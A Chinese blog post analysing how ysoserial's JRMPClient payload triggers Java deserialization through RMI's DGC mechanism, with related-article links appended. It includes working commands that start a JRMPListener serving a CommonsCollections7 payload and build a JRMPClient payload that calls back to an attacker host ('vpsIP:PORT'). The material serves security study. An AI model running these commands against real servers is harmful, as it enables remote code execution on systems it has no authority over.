ysoserial payloads/JRMPClient

环境:JDK8u102

payloads/JRMPClient可以配合exploit/JRMPListener模块来使用

1.在自己服务器上使用exploit/JRMPListener来开启监听

2.把payloads/JRMPClient发送给对方服务器,对方服务器反序列化后会反向连接我们的服务器,进行连接之间我们服务器会发送payload给对方服务器进行反序列化执行命令。

以下是执行ysoserial时候使用的命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections7 "calc"

java -cp ysoserial.jar ysoserial.payloads.JRMPClient "vpsIP:PORT"

调试分析:

设置payloads/JRMPClient和exploit/JRMPListener的启动参数


JRMPClient的payload构造是在getObject方法中

前面几行是构造了反向连接所需要的一些对象,然后把ref传入了RemoteObjectInvocationHandler中,之后进行了一个动态代理,最后返回了proxy对象。

服务端那边就会把这个proxy进行反序列化,从而执行调用链进行反向连接。

这里有个知识点:

proxy的反序列化其实就是调用其InvocationHandler的readObject方法,而这里的InvocationHandler则是RemoteObjectInvocationHandler。

RemoteObjectInvocationHandler的readObject方法是调用其父类RemoteObject的readObject方法

进行了if判断,进入到了else中,然后执行了ref.readExternal(in);

这里的ref为UnicastRef,跟进UnicastRef#readExternal

继续跟进LiveRef#read

调用了DGCClient#registerRefs

这里进行了一个do...while,首先DGCClient$EndpointEntry.lookup方法,然后调用了var2.registerRefs(var1)

DGCClient#registerRefs

先看DGCClient$EndpointEntry.lookup方法

跟进DGCClient$EndpointEntry.lookup方法,看到调用了DGCClient#EndpointEntry方法

在DGCClient#EndpointEntry方法中,使用TCPEndpoint和DgcID创建了LiveRef对象,之后生成了DGCImpl_Stub代理对象( 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的)

最后开启了与JRMPListener的Socket通信

DGCClient$EndpointEntry#registerRefs

回到前面的var2.registerRefs(var1)

这里的var2其实就是DGCClient$EndpointEntry

跟进DGCClient#registerRefs,在最后调用了DGCClient$EndpointEntry的makeDirtyCall方法

跟进makeDirtyCall方法,到205行,调用了DGCImpl_Stub#dirty

跟进DGCImpl_Stub#dirty(这里有个问题,这个DGCImpl_Stub其实是动态生成的类,无法调试,所以只能进源码直接看)

newCall是和 JRMPListener建立连接,write写入序列化数据,invoke用来处理服务端的数据,最后readObject来反序列化(前提是传过来的数据不是一个异常类)

ysoserial payloads/JRMPClient的更多相关文章

  1. ysoserial exploit/JRMPClient

    ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...

  2. Java安全之ysoserial-JRMP模块分析(一)

    Java安全之ysoserial-JRMP模块分析(一) 首发安全客:Java安全之ysoserial-JRMP模块分析(一) 0x00 前言 在分析到Weblogic后面的一些绕过方式的时候,分析到 ...

  3. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  4. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  7. Java 安全之Weblogic 2018-2628&2018-2893分析

    Java 安全之Weblogic 2018-2628&2018-2893分析 0x00 前言 续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式,根据weblogic的补 ...

  8. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  9. weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628

    CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...

随机推荐

  1. 2020年度钻石C++C学习笔记(3)--《博学谷》

    1.Unix/Linux操作系统介绍 1.1 操作系统的作用 1.1.1 操作系统的目标 l 方便:使计算机系统易于使用 l 有效:以更有效的方式使用计算机系统资源 l 扩展:方便用户有效开发.测试和 ...

  2. 1~n数字中1出现的个数

    1~n数字中1出现的个数 LeetCode 给定一个整数 n,计算所有小于等于 n 的非负整数中数字 1 出现的个数. 感觉挺有意思 对于一个数,我们先局部分析一下,比如123456,我们考虑百位这个 ...

  3. Eclipse带参数调试的方法

    下面是体现带参数调试的一个代码demo,首先输出参数的数量,然后依次输出每个参数. public class ArgsEx { public static void main(String[] arg ...

  4. MySQL数据库优化(2)

    MySQL优化 大批量插入数据优化 1.将数据按照id有序排列 2.使用load关键字(100万条:有序20s,无序1分50秒) 3.插入之前,关闭唯一性校验(SET UNIQUE_CHECKS=0) ...

  5. scrapy爬虫框架使用

    一.scrapy框架 1.什么是scrapy: 爬虫中封装好的一个明星框架.功能:高性能的持久化存储,异步的数据下载,高性能的数据解析,分布式. 2.使用方法: 安装: 下载tiwisted,此处位下 ...

  6. Windows注册表内容详解(转载)

    (关于windows注册表的整理,来源网络) 前提 一.什么是注册表 ​ 注册表是windows操作系统.硬件设备以及客户应用程序得以正常运行和保存设置的核心"数据库",也可以说是 ...

  7. OSPF和ACL综合实验

    一.实验拓扑: 二.实验要求: 1.企业内网运行OSPF路由协议,区域规划如图所示:2.财务和研发所在的区域不受其他区域链路不稳定性影响:3.R1.R2.R3只允许被IT登录管理:4.YF和CW之间不 ...

  8. mysql--使用shardingsphere实现分表

    一. 简介 为什么要分表,无非就两个原因,要么是并发太高,要么就是数据量太大. 所谓分表就是把传统的单表扩展为多个数据结构一样的表,通过分表策略确定操作哪一张表. 我使用的分表规则是通过主键id进行取 ...

  9. BZOJ 4826 影魔

    本题可以采用主席树的在线做法,只不过常数会 \(super\) 大. 和其他题解差不多,我们先要求出第 \(i\) 个数的 \(l_i\) 和 \(r_i\) ,其中 \(l_i\) 表示左边第一个比 ...

  10. NOIP 模拟 $17\; \rm weight$

    题解 \(by\;zj\varphi\) 一道树剖的题 先对于原图求出一棵最小生成树,求出来的这棵树中的边定为树边,其它边叫非树边 那么对于一条非树边,它要成为最小生成树上的边,权值只能为连接它两个端 ...